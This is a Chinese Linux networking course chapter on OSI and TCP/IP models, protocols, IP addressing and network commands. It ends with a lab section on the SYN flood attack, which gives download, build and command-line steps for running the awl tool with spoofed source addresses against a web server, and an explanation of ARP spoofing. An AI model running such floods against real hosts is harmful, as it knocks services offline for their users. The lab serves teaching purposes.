全套学习资料移步至公众号【学神来啦】更多学习资料添加扣扣资源群:661308959
本节所讲内容:
18.1 OSI七层模型和TCP/IP四层模型
18.2 linux网络相关的调试命令
18.3 实战-局域网中使用 awl伪装MAC地址进行SYN Flood
更多学习资料请点击下方:
18.1 OSI七层模型和TCP/IP四层模型
18.1.1 OSI七层参考模型,TCP/IP四层参考模型
OSI七层模型:OSI(Open System Interconnection)开放系统互连参考模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系。
TCP/IP四层模型:TCP/IP参考模型是计算机网络的祖父ARPANET和其后继的因特网使用的参考模型。
分层作用:方便管理
七层模型优点: [CCNA]
1、把复杂的网络划分成为更容易管理的层(将整个庞大而复杂的问题划分为若干个容易处理的小问题)
2、没有一个厂家能完整的提供整套解决方案和所有的设备,协议.
3、独立完成各自该做的任务,互不影响,分工明确,上层不关心下层具体细节,分层同样有益于网络排错
功能与代表设备
分层 |
名字 |
功能 |
工作在该层的设备 |
7 |
应用层 |
提供用户界面 |
QQ,IE 。应用程序 |
6 |
表示层 |
表示数据,进行加密等处理 |
QQ,IE 。应用程序 |
5 |
会话层 |
将不同应用程序的数据分离 |
QQ,IE 。应用程序 |
4 |
传输层 |
提供可靠或不可靠的传输,在重传前执行纠错 |
*** |
3 |
网络层 |
提供逻辑地址,路由器使用它们来选择路径 |
三层交换机、路由器 |
2 |
数据链路层 |
将分组拆分为字节,并将字节组合成帧,使用MAC地址提供介质访问,执行错误检测,但不纠错 |
二层交换机,网卡 |
1 |
物理层 |
在设备之间传输比特,指定电平,电缆速度和电缆针脚 |
集线器 |
为什么现代网络通信过程中用TCP/IP四层模型,而不是用OSI七层模型呢?
OSI七层模型是理论模型,一般用于理论研究,他的分层有些冗余,实际应用,选择TCP/IP的四层模型。而且 OSI 自身也有缺陷,大多数人都认为 OSI 模型的层次数量与内容可能是最佳的选择,其实并非如此,其中会话层和表示层几乎是空的,而数据链路层和网络层包含内容太多,有很多的子层插入,每个子层都有不同的功能。
18.1.2 常见网络相关的协议
ARP(Address Resolution Protocol):地址解析协议,将IP解析成MAC地址
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗(网络执法官软件的工作原理就是arp欺骗)。
DNS:域名解析协议 www.baidu.com
SNMP(Simple Network Management Protocol)简单网络管理协议
DHCP(Dynamic Host Configuration Protocol)动态主机配置协议,它是在TCP/IP网络上使客户机获得配置信息的协议
FTP(File Transfer Protocol)文件传输协议,它是一个标准协议,是在计算机和网络之间交换文件的最简单的方法。
HTTP(Hypertext Transfer Protocol ):超文本传输协议
HTTPS(Secure Hypertext Transfer Protocol):安全超文本传输协议,它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作.
ICMP(Internet Control Message Protocol):Internet控制信息协议,互联网控制报文协议
ping ip定义消息类型有:TTL超时、地址的请求与应答、信息的请求与应答、目的地不可到达
SMTP(Simple Mail Transfer Protocol):简单邮件传送协议
TELNET Protocol:虚拟终端协议
TFTP(Trivial File Transfer Protocol):小文件传输协议
UDP(User Datagram Protocol):用户数据报协议,它是定义用来在互连网络环境中提供包交换的计算机通信的协议
TCP(Transmission Control Protocol): 传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议 log转发:开启一个协议:tcp(三次握手和四次挥手)
面试时经常会问道的问题 TCP和UPD的区别:
TCP协议和UDP协议的区别
(1)TCP协议:TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,在收发数据前,必须和对方建立可靠的连接。
(2)UDP协议:UDP 是User Datagram Protocol的简称, 中文名是用户数据报协议,是一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务
总结:TCP与UDP的区别:
1.基于连接与无连接;
2.对系统资源的要求(TCP较多,UDP少);
3.UDP程序结构较简单;UDP信息包的标题很短,只有8个字节,相对于TCP的20个字节信息包的额外开销很小。所以传输速度可更快
4.TCP保证数据正确性,UDP可能丢包;TCP保证数据顺序,UDP不保证。
场景: 视频,语音通讯使用udp,或网络环境很好,比如局域网中通讯可以使用udp。 udp数据传输完整性,可以通过应用层的软件算法来校对就可以了。
tcp传文件,数据完整性要求高。
18.1.3 TCP和UDP 常用端口号名称
(1)TCP 端口分配
端口号 服务 服务描述
21 ftp 文件传输服务
22 ssh 安全远程连接服务
23 telnet 远程连接服务
25 smtp 电子邮件服务
53 DNS 域名解析服务,有tcp53也有用udp53端口传输
80 http web服务
443 https 安全web服务
如果你不知道哪个端口对应哪个服务怎么办?如873端口是哪个服务的?
[root@xuegod63 ~]# vim /etc/services #此文件中,包含所有常见端口号及服务名称
#此文件可以查看常用端口对应的名字。iptables或netstat要把端口解析成协议名时,都需要使用到这个文件。另外后期xinetd服务管理一些小服务时,也会使用到此文件来查询对应的小服务端口号。
注:有的服务是UDP和TCP端口都会监听的
18.1.4 IP地址分类
IP地址分5类,常见的地址是A、B、C 三类
A类地址:范围从0-127,0是保留的并且表示所有IP地址,而127也是保留的地址,并且是用于测试环回口用的。因此A类地址的可用的范围其实是从1-126之间。子网掩码:255.0.0.0
A类地址:A类地址的网络位由第一组8位二进制数表示,主机位由后3组8位二进制数表示
例 1.0.0.0 这个A类ip地址
1是网络位,0.0.0是主机位,A类地址是大型网络,含126个网段,每个网段主机数大约允许有1670万台主机,通常分配给拥有大量主机的网络(如主干网)
B类地址:范围从128-191,如172.168.1.1,以子网掩码来进行区别:255.255.0.0
B类地址:B类地址的网络位由前2组8位二进制数表示,主机位由后2组8位二进制数表示
例 128.255.0.0 这个B类IP 地址
128.255是网络位,0.0是主机位,B类地址是中型网络,含16384个网段,每个网段允许有65534台主机,适用于结点比较多的网络(如区域网)。
C类地址:范围从192-223,以子网掩码来进行区别: 255.255.255.0
C类地址:C类地址的网络位由前3组8位二进制数表示,主机位由后1组8位二进制数表示
例 192.255.255.0 这个C类IP地址
192.255.255是网络位,0是主机位,C类地址是小型网络,允许有254台主机,适用于结点比较少的网络(如校园网)。
D类地址:范围从224-239,被用在多点广播(Multicast)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。
E类地址:范围从240-254,为将来使用保留。
ABC 3类中私有IP地址范围:
A:10.0.0.0--10.255.255.255 子网掩码为255.0.0.0 或用 /8 表示(网络位8位二进制数)
B: 172.16.0.0--172.31.255.255 子网掩码为 255.255.0.0 或用 /16 表示
C: 192.168.0.0--192.168.255.255 子网掩码为 255.255.255.0 或用 /24 表示
ping 127.0.0.1 可以ping通。ping 127.23.23.23 可以ping通吗?
结论:这个127这个网段都用于环回口
ipv4 ipv6
18.2 linux网络相关的调试命令
18.2.1 查看网卡物理连接是否正常
[root@xuegod63 ~]# nmcli device status
DEVICE TYPE STATE CONNECTION
ens33 ethernet 连接的 ens33
virbr0 bridge 连接的 virbr0
lo loopback 未托管 --
virbr0-nic tun 未托管 --
查看IP相关信息
ifconfig命令被用于配置和显示Linux内核中网络接口的网络参数。
[root@xuegod63 ~]# ifconfig
常见的一些网络接口
eth0 ..... eth4 ... 以太网接口(linux6)
waln0 无线接口
eno177776 以太网接口 (centos7)
ens33 以太网接口(centos7)
ens160 以太网接口(centos8)
bond0 team0 网卡绑定接口
virbr0 虚拟交换机桥接接口
br0 虚拟网桥接口
lo 本地回环接口
vnet0 KVM虚拟机网卡接口
18.2.2 修改网卡IP地址
方法1:手工修改网卡配置文件
[root@xuegod63 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet #设置类型是以太网设备,如图:
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none # 参数:static静态IP 或dhcp 或none无(不指定),如是none,配上IP地址和static效果一样
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33 #网卡名字
UUID=c713acec-674b-411d-9e61-646482a292ca #UUID 每个网上设备都不一样
DEVICE=ens33 #设备名字,在内核中识别的名字
ONBOOT=yes #启用该设备,如果no,表示不启动此网络设备
IPADDR=192.168.1.63 #IP地址
PREFIX=24 #子网掩码,24相当于255.255.255.0
GATEWAY=192.168.1.1 #默认网关
DNS1=114.114.114.114 #首选DNS地址
DNS2=223.5.5.5 #备用DNS地址
DNS3=8.8.8.8 #备用DNS地址
IPV6_PRIVACY=no
PEERDNS=no #启用DHCP后即会更改/etc/resolv.conf,PEERNDS=no则不会修改resolv.conf
修改完成使配置生效(在修改配置文件后,需要运行nmcli con reload使NetworkManager读取配置文件更改。接口依然需要重新启动,以便修改生效):
[root@xuegod63 ~]# nmcli connection reload
[root@xuegod63 ~]# nmcli connection down ens33
[root@xuegod63 ~]# nmcli connection up ens33
[root@xuegod63 ~]# systemctl restart network
[root@xuegod63 ~]# ifdown ens33 && ifup ens33
例1: 给虚拟机再添加一个网卡,并手动成生网卡配置文件
[root@xuegod63 ~]# init 0
添加一块网卡
新加的网卡,也使用桥接模式。
[root@xuegod63 ~]# ifconfig -a # -a查看所有网络设备,包括没有启动的网卡设备
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
。。。
ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
注:我这里显示第二块网卡名字是ens38,你那边可能不是。这是由内核识别出来的
默认新增加的网卡没有配置文件,现在手动添加一个
[root@xuegod63 ~]# cd /etc/sysconfig/network-scripts/
[root@xuegod63 network-scripts]# cp ifcfg-ens33 ifcfg-ens38
[root@xuegod63 network-scripts]# vim ifcfg-ens38 #修改内容
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens38
UUID=c713acec-674b-411d-9e61-646482a292ca #这一行删除掉
DEVICE=ens38
ONBOOT=yes
IPADDR=192.168.1.68 #改成68 IP(自定义进行修改)
PREFIX=24
GATEWAY=192.168.1.1
DNS1=114.114.114.114
IPV6_PRIVACY=no
PEERDNS=no
[root@xuegod63 network-scripts]# systemctl restart network
使用nmcli命令查看网卡UUID
[root@xuegod63 ~]# nmcli con
NAME UUID TYPE DEVICE
ens33 fcdcc4d4-65a4-42ec-8325-86f66aad5071 ethernet ens33
ens37 a40a9de1-6c41-3c6a-9f8c-e2c6741d2dca ethernet ens37
CentOS8添加网卡后配置文件使用nmcli命令生成:
[root@xuegod63 ~]# nmcli con add con-name ens37 type ethernet ifname ens37
#上面命令为接口ens37添加一个新连接ens37,此连接将使用DHCP获取IP地址并在系统启动后自动连接。配置文件的名称基于con-name选项的值ens37,并保存到/etc/sysconfig/network-scripts/ifcfg-ens37文件。
方法2:[root@xuegod63~]# nmtui-edit #字符界面配IP(了解不建议使用)
例1:启动关闭指定网卡:
[root@xuegod63 ~]# ifconfig ens38 down
[root@xuegod63 ~]# ifconfig
[root@xuegod63 ~]# ifconfig ens38 up
例2:临时配置IP地址
[root@xuegod63 ~]# ifconfig ens38 192.168.1.90
或
[root@xuegod63 ~]# ifconfig ens38 192.168.1.90 netmask 255.255.255.0
例3:给一个网络临时配置多个IP地址
[root@xuegod63 ~]# ifconfig ens33:1 192.168.1.3 netmask 255.255.255.0
[root@xuegod63 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
。。。
ens33:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.3 netmask 255.255.255.0 broadcast 192.168.1.255
注:临时ip没有什么太大用处,临时ip因为没有网关,dns等配置信息,无法访问外网,只有内网可以互相ping通,要想访问外网还需要添加网关等信息,如route add default gw 192.168.1.1,这样做不如直接写入配置文件更方便。
centos7***trong>ystemctl restart NetworkManager命令使用临时ip,***trong>ystemctl restart network或ifdown ens33 && ifup ens33都会恢复真实IP。
18.2.3 查看端口的监听状态
netstat 命令: 查看系统中网络连接状态信息,
常用的参数格式 : netstat -anutp
-a, --all 显示本机所有连接和监听的端口
-n, --numeric don't resolve names 以数字形式显示当前建立的有效连接和端口
-u 显示udp协议连接
-t 显示tcp协议连接
-p, --programs 显示连接对应的PID与程序名
Proto===连接协议的种类
Recv-Q====接收到字节数
Send-Q====从本服务器,发出去的字节数
Local Address====本地的IP地址,可以是IP,也可以是主机名
Foreign Address====远程主机的IP 地址
网络连接状态STATE:
CLOSED : 初始(无连接)状态。
LISTEN : 侦听状态,等待远程机器的连接请求。
ESTABLISHED: 完成TCP三次握手后,主动连接端进入ESTABLISHED状态。此时,TCP连接已经建立,可以进行通信。
TIME_WAIT : 在TCP四次挥手时,主动关闭端发送了ACK包之后,进入TIME_WAIT状态,等待最多MSL时间,让被动关闭端收到ACK包。
扩展:MSL
MSL,即Maximum Segment Lifetime,一个数据分片(报文)在网络中能够生存的最长时间,在RFC 793中定义MSL通常为2分钟,即超过两分钟即认为这个报文已经在网络中被丢弃了。对于一个TCP连接,在双方进入TIME_WAIT后,通常会等待2倍MSL时间后,再关闭掉连接,作用是为了防止由于FIN(最后一个挥手包)报文丢包,对端重发导致与后续的TCP连接请求产生顺序混乱
实战:服务器上有大量TIME_WAIT连接,如何优化TCP连接,快速释放tcp连接 ?
[root@iZ2zee35aswj00xgdqoanhZ ~]# netstat -antup | grep TIME_WAIT
tcp 0 0 123.57.82.225:80 111.196.245.241:4002 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3970 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:4486 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3932 TIME_WAIT -
……..
解决:
例:linux下默认MSL等待时间是60秒
[root@xuegod63 ipv4]# cat /proc/sys/net/ipv4/tcp_fin_timeout
60 秒
[root@xuegod63 ipv4]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout #通过缩短时间time_wait时间来快速释放链接
不要看就这样一个参数,Linux内核调优,就是由这样一个一个参数累积起来的。
修改主机名配置文件,作用:设置主机名永久生效
[root@xuegod63 ~]# vim /etc/hostname
xuegod63.cn
[root@xuegod63 ~]# hostnamectl set-hostname 主机名
配置IP与主机名(域名)的对应关系。
[root@xuegod63 ~]# vim /etc/hosts #优先级高于DNS解析
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63 xuegod63.cn
192.168.1.64 xuegod64.cn
192.168.1.62 xuegod62.cn
Windows中的位置
C:\Windows\System32\drivers\etc\hosts
18.2.4 配置DNS-路由相关信息
DNS配置的配置文件
[root@xuegod63 ~]# cat /etc/resolv.conf
# Generated by NetworkManager
search cn
nameserver 114.114.114.114
注:在centos5/6版本,配置DNS用这个文件。在centos6以后,直接在网卡配置文件中指定:DNS1=192.168.1.1
默认情况下,域名解析顺序: 本地hosts文件-》DNS查询
是不是一定先解析hosts再解析DNS?
本机域名解析顺序
[root@xuegod63 ~]# vim /etc/nsswitch.conf #查找以下内容 hosts
#hosts: db files nisplus nis dns
hosts: files dns myhostname #可以看到是先查看 files hosts文件,再查看DNS的
查看路由信息:
[root@xuegod63 ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1002 0 0 eth0
0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0
注:0.0.0.0 192.168.1.1 0.0.0.0 #前面0.0.0.0表示匹配任何网段,后面0.0.0.0表示匹配所有主机,这行就是默认网关
参数: -n :不要使用通讯协定或主机名称,直接使用 IP 或 port number;
route命令输出的路由表字段含义如下:
Destination 目标 :The destination network or destination host. 目标网络或目标主机。
Gateway 网关 :网关地址,如果是本地网段IP,就显示0.0.0.0
Genmask :子网掩码
添加/删除路由条目:
[root@linux ~]# route add [-net|-host] [网域或主机] netmask [mask] [gw|dev]
[root@linux ~]# route del [-net|-host] [网域或主机] netmask [mask] [gw|dev]
增加 (add) 与删除 (del) 路由的相关参数:
-net :表示后面接的路由为一个网域;
-host :表示后面接的为连接到单部主机的路由;
netmask :与网域有关,可以设定 netmask 决定网域的大小;
gw :gateway 的简写,后续接的是 IP 的数值喔,与 dev 不同;
dev :如果只是要指定由那一块网路卡连线出去,则使用这个设定,后面接 eth0 等
例:
添加/删除路由条目:
添加路由(把Linux做成路由器时或服务器有多个网卡,指定到不同网段走哪个网卡)
实战场景:多个网卡,多个网段,实现不同数据走不同网卡。如果网络管理和生产数据分开管理。
比如生产数据走1.0网段,网络管理走2.0网段,网络管理数据不走生产或对外提供服务的网段,这样也不会乱(前提你得有多个网卡)
[root@xuegod63 ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens38
[root@xuegod63 ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 ens33
0.0.0.0 192.168.1.1 0.0.0.0 UG 101 0 0 ens38
192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
192.168.1.0 0.0.0.0 255.255.255.0 U 101 0 0 ens38
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 ens38
删除路由
[root@xuegod63 ~]# route del -net 192.168.2.0 netmask 255.255.255.0
路由跟踪
[root@xuegod63 ~]# yum -y install traceroute
[root@xuegod63 ~]# traceroute baidu.com
路由跟踪:查看经过多少个路由器到目标网址:
实战场景:查看一个新上线的服务器 www.xuegod.cn ,北京用户需要经过多少跳可以到达服务器。
ping 命令的一般格式为:
-c 数目 在发送指定数目的包后停止。
-i 秒数 设定间隔几秒送一个网络封包给一台机器,默认值是1秒送1次
-w 等待指定时间后停止ping程序的执行,时间单位是秒。
[root@xuegod63 ~]# ping -i 0.01 -c 20 192.168.1.1
大写的I参数,网络界面:
使用指定的网络界面送出数据包,即192.168.1.63是发出ping命令的主机IP地址,baidu.com是被ping的地址。
[root@xuegod63 ~]# ping -I 192.168.1.63 baidu.com -w 3
当IP地址冲突后或有网关冲突后,在windows下有这个,在linux怎么办?
arping大写I
[root@xuegod63 ~]# arping -I ens33 192.168.100.1
ARPING 192.168.1.1 from 192.168.1.74 ens33
Unicast reply from 192.168.1.1 [94:0B:19:46:3D:C8] 1.824ms
Unicast reply from 192.168.1.1 [94:0B:19:46:34:41] 2.564ms
ping向一个网关,mac地址都是一样的,说明正常,但是mac地址不一样
同一个ip地址解析出2个mac地址,那么就有人冒充网关了。
网络执法官利用ARP欺骗原理使被攻击的电脑无法上网,使该电脑无法找到网关的MAC地址
watch
作用:实时监测命令的运行结果,可以看到所有变化数据包的大小
-d 高亮显示变化的区域(指令信息不同之处)
-n 指定指令执行的间隔时间(秒)
例1:每隔1秒高亮显示ens33网卡相关信息
[root@xuegod63 ~]# watch -d -n 1 'ifconfig ens33'
每秒显示ens33网卡信息,RXpackets接收到的数据包, TXpackets发送出的数据包
18.3 实战-局域网中使用 awl伪装MAC地址进行SYN Flood
http://ssa.yundun.com/cc 云盾全球实时攻防图
现在学得是第一阶段中的内容,这个案例是让你开眼界!
18.3.1 tcp三次握手及tcp连接状态
TCP报文段的首部格式:
需要了解的信息:
ACK : TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1
SYN(SYNchronization) : 在连接建立时用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此, SYN置1就表示这是一个连接请求或连接接受报文。
synchronization [ˌsɪŋkrənaɪ'zeɪʃn] 同步
FIN (finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。
finis ['faɪnɪs] 终结
建立tcp连接时的tcp三次握手和断开tcp连接时的4次挥手整体过程说明图:
实战1:使用tcpdump抓包查看tcp三次握手过程
tcp三次握手过程:
Client:我可以给你发数据吗?
Server:可以
Client:好的
三次握手的核心是: 确认每一次包的序列号。
tcp三次握手过程:
1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x
2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1,
3、最后Client 再进行一次确认,设置 ack=y+1.
tcpdump抓包命令常用参数:
-c 指定包个数
-n IP,端口用数字方式显示
port 指定端口
如何产生tcp的链接?
在xuegod63上登录xuegod64,抓取ssh远程登录xuegod64时,产生的tcp三次握手包:
[root@xuegod63 ~]# ifconfig ens38 down
[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n
打开另一个终端,开始建立tcp连接:
[root@xuegod63 Desktop]# ssh root@192.168.1.64
The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.
RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.
Are you sure you want to continue connecting (yes/no)? #到这里就不用执行了,tcp已经建立连接
查看数据包:
[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 0
10:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 0
10:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0
注:Flags [S] 中的 S 表示为SYN包为1
client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S
[root@xuegod63 ~]# tcpdump -i ens33 host 192.168.1.64 and port 22 -c 3 -n -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0
16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0
16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel
TCP三次握手连接状态详解:
TCP连接状态详解:
服务器端:LISTEN:侦听来自远方的TCP端口的连接请求
客户端:SYN-SENT:在发送连接请求后等待匹配的连接请求
服务器端:SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认
客户端/服务器端:ESTABLISHED:代表一个打开的连接
18.3.2 实战:局域网中使用 awl伪装IP地址进行SYN Flood
SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制
SYN洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超时关闭,才能施放内存。
如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。
下载地址:https://gitlab.com/davical-project/awl/tags
在xuegod63 安装awl软件进行攻击:
通过xshell上传awl-0.2.tar.gz到Linux系统中
开始安装awl(需要使用centos7.6版本系统)
[root@xuegod63 ~]#tar xvf awl-0.2.tar.gz #解压
[root@xuegod63 ~]#cd awl-0.2
[root@xuegod63 awl-0.2]#./configure # 查检软件包安装环境
[root@xuegod63 awl-0.2]#make -j 4
#make 把源代码编译成可执行的二进制文件
# -j 4以4个进程同时编译,速度快
[root@xuegod63 awl-0.2]#make install #安装
查看安装的命令:
[root@xuegod63 awl-0.2]# which awl
/usr/local/bin/awl
在xuegod64上搭建一台web服务器,模拟要被攻击的服务器
[root@xuegod64 ~]# yum install httpd -y #安装web服务器
[root@xuegod64 ~]# systemctl start httpd
[root@xuegod64 ~]# curl 192.168.100.63
[root@xuegod64 ~]# iptables -F
开始攻击:
实战4: 在局域网中使用 awl伪装IP地址进行多线程SYN攻击
获取对方的IP地址解析成MAC地址
[root@xuegod63 ~]# ping 192.168.1.64
[root@xuegod63 ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.17 ether e0:b9:a5:ac:c5:76 C eth0
192.168.1.64 ether 00:0c:29:57:f5:b5 C eth0
开始攻击:
awl参数如下:
-i 发送包的网卡接口,如果省略默认是eth0
-m 指定目标mac地址 注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,
FF.FF.FF.FF.FF.FF MAC地址是什么?
这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。
-d 被攻击机器的IP
-p 被攻击机器的端口
两台机器:
[root@xuegod63 ~]# iptables -F
[root@xuegod63 ~]# awl -i ens33 -m 目标mac -d 目标ip -p 80
5秒钟 ctlr +c 停止
测试攻击效果:
在xuegod64上查看:发现很多伪装成公网的IP在攻击我们
更多学习资料移步公众号【学神来啦】